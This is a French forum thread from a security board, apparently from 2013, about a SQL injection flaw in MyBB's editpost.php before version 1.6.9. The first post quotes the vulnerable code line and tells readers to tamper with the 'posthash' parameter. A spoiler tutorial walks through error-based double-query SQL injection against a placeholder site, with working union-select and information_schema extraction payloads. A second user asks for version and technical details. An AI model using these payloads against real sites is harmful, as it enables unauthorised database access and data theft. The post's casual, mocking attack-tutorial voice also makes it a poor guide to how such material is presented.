N-PN White-Hat Project
Mybb editpost.php - Version imprimable

+- N-PN White-Hat Project (https://dev.n-pn.fr/forum)
+-- Forum : Questions (https://dev.n-pn.fr/forum/forumdisplay.php?fid=11)
+--- Forum : Security (https://dev.n-pn.fr/forum/forumdisplay.php?fid=24)
+--- Sujet : Mybb editpost.php (/showthread.php?tid=3283)



Mybb editpost.php - Yuri - 23-08-2013

Vulnerable code:


MyBB <1.6.9 is vulnerable to Stored, Error based, SQL Injection.

[spoiler]Error based sql injection tutorial - Double query injection

Vous aurez besoin d'une cible comme celle-ci

Citation :www.site.com/thegame.php?i=36

Ensuite comme pour l'injection basic, insérez caractère spécial ici le ( ' ).

Citation :www.site.com/thegame.php?i=36'

Nous avons donc la fameuse syntax error SQL. Angel

[Image: erroryu.png]

Maintenant Yuri vous dit d'injecter ceci :p Vous dites Ok on va injecter !
( ironie Dodgy )

Citation :www.site.com/thegame.php?i=36 order by 10-- aucune erreur
www.site.com/thegame.php?i=36 order by 20-- aucune erreur
www.site.com/thegame.php?i=36 order by 50-- aucune erreur
www.site.com/thegame.php?i=36order by 100-- aucune erreur

Dah fuck ? Angry

Essayons ça alors :o

Citation :www.site.com/thegame.php?i=36' order by 100--+

Ah enfin :p Maintenant, nous avons une erreur dans les colonnes.

[Image: unknownd.png]

Maintenant, go obtenir les colonnes :

Citation :www.site.com/thegame.php?i=36' order by 10--+ erreur

www.site.com/thegame.php?i=36' order by 8--+ erreur
www.site.com/thegame.php?i=36' order by 6--+ erreur
www.site.com/thegame.php?i=36' order by 5--+ Aucune erreur

Ok trouver nombre de colonnes [ FAIT ] prochaine étape à l'aide de la commande d'union nous allons trouver la colonne VULN !! Angel

Citation :www.site.com/thegame.php?i=36' union select 1,2,3,4,5--+

Et BOOM ça faits des chocapics !

[Image: unionr.png]

Alors, pouvons-nous utiliser une autre méthode comme celle en aveugle Voyons cela Huh ?

Citation :www.site.com/thegame.php?i=36' and 1=1--+ c'est vrai donc aucune erreur

Citation :www.site.com/thegame.php?i=36' and 1=2--+
c'est faux et aucune erreur humm

Est-ce que nous devrions abandonner et de trouver d'autres sites?
Non, essayons autre méthode appelée ERROR BASED INJECTION(DOUBLE QUERY)

Dans cette méthode, nous utilisons la syntaxe spécifique pour obtenir des données de base de données

Le code que nous utilisons pour obtenir la version, base de données et aslo utilisateur -> Angel

Code :
and(select 1 from(select count(*),concat((select (select concat(0x7e,0x27,cast(version() as char),0x27,0x7e)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1

DAH FUCK c'est quoi ça O_O Dodgy

Ecoute essaye ça sur notre site :p

Citation :http://www.site.com/thegame.php?i=36' and(select 1 from(select count(*),concat((select (select concat(0x7e,0x27,cast(version() as char),0x27,0x7e)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1--+

[Image: 81406053.png]
AngelAngel

Nous n'avons pas utilisé hex
Code :
0x7e,0x27
Nous pouvons utiliser la syntaxe sans eux et notre code comme ceci :

Citation :http://www.site.com/artist.php?i=36' and(select 1 from(select count(*),concat((select (select concat(version())) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1--+

Il fonctionne bien, mais il ya un autre problème que vous devez savoir on efface la valeur hexadécimale du résultat de code de celui-ci comme :

[Image: 24262231.png]

Comme vous le voyez, nous avons foregner "1" près de nom de version et il restera pour tous nos résultats ainsi il peut se confondre quelqu'un qui démarre nouveau ce type d'injection.
Dans ce tutoriel, je vous écris tout syntaxe avec valeur hexadécimale
[/spoiler]

Ici c'est le même principe sauf que nous sommes dans un l'altérage de donnés le trucage de donnée OoO

/editpost.php

Code :
===
Line 398
===
$posthash_query = "posthash='{$posthash}' OR ";
===

Utiliser Tamper Data (ou en-têtes HTTP en direct), lors de la partie soumettre un message, modifiez le paramètre POST 'posthash' à votre charge,
altéré, puis éditer votre message.
[align=center]
[Image: 2HFxC.png]
[Image: QVUdXh.png]
[Image: abBpE.png]

L'exploit est exécutable sous une console ruby ou perl sans payload comme démontre sous metasploit ça a marché sous résever d'un exploit.


RE: Mybb editpost.php - gruik - 23-08-2013

ça concerne quelles versions de MyBB ?
tu peux donner des détails techniques sur comment fontionne la faille ?
pourquoi/comment dans le code source par exemple ?


RE: Mybb editpost.php - Yuri - 23-08-2013

Edit, tutoriel sur l'error based Smile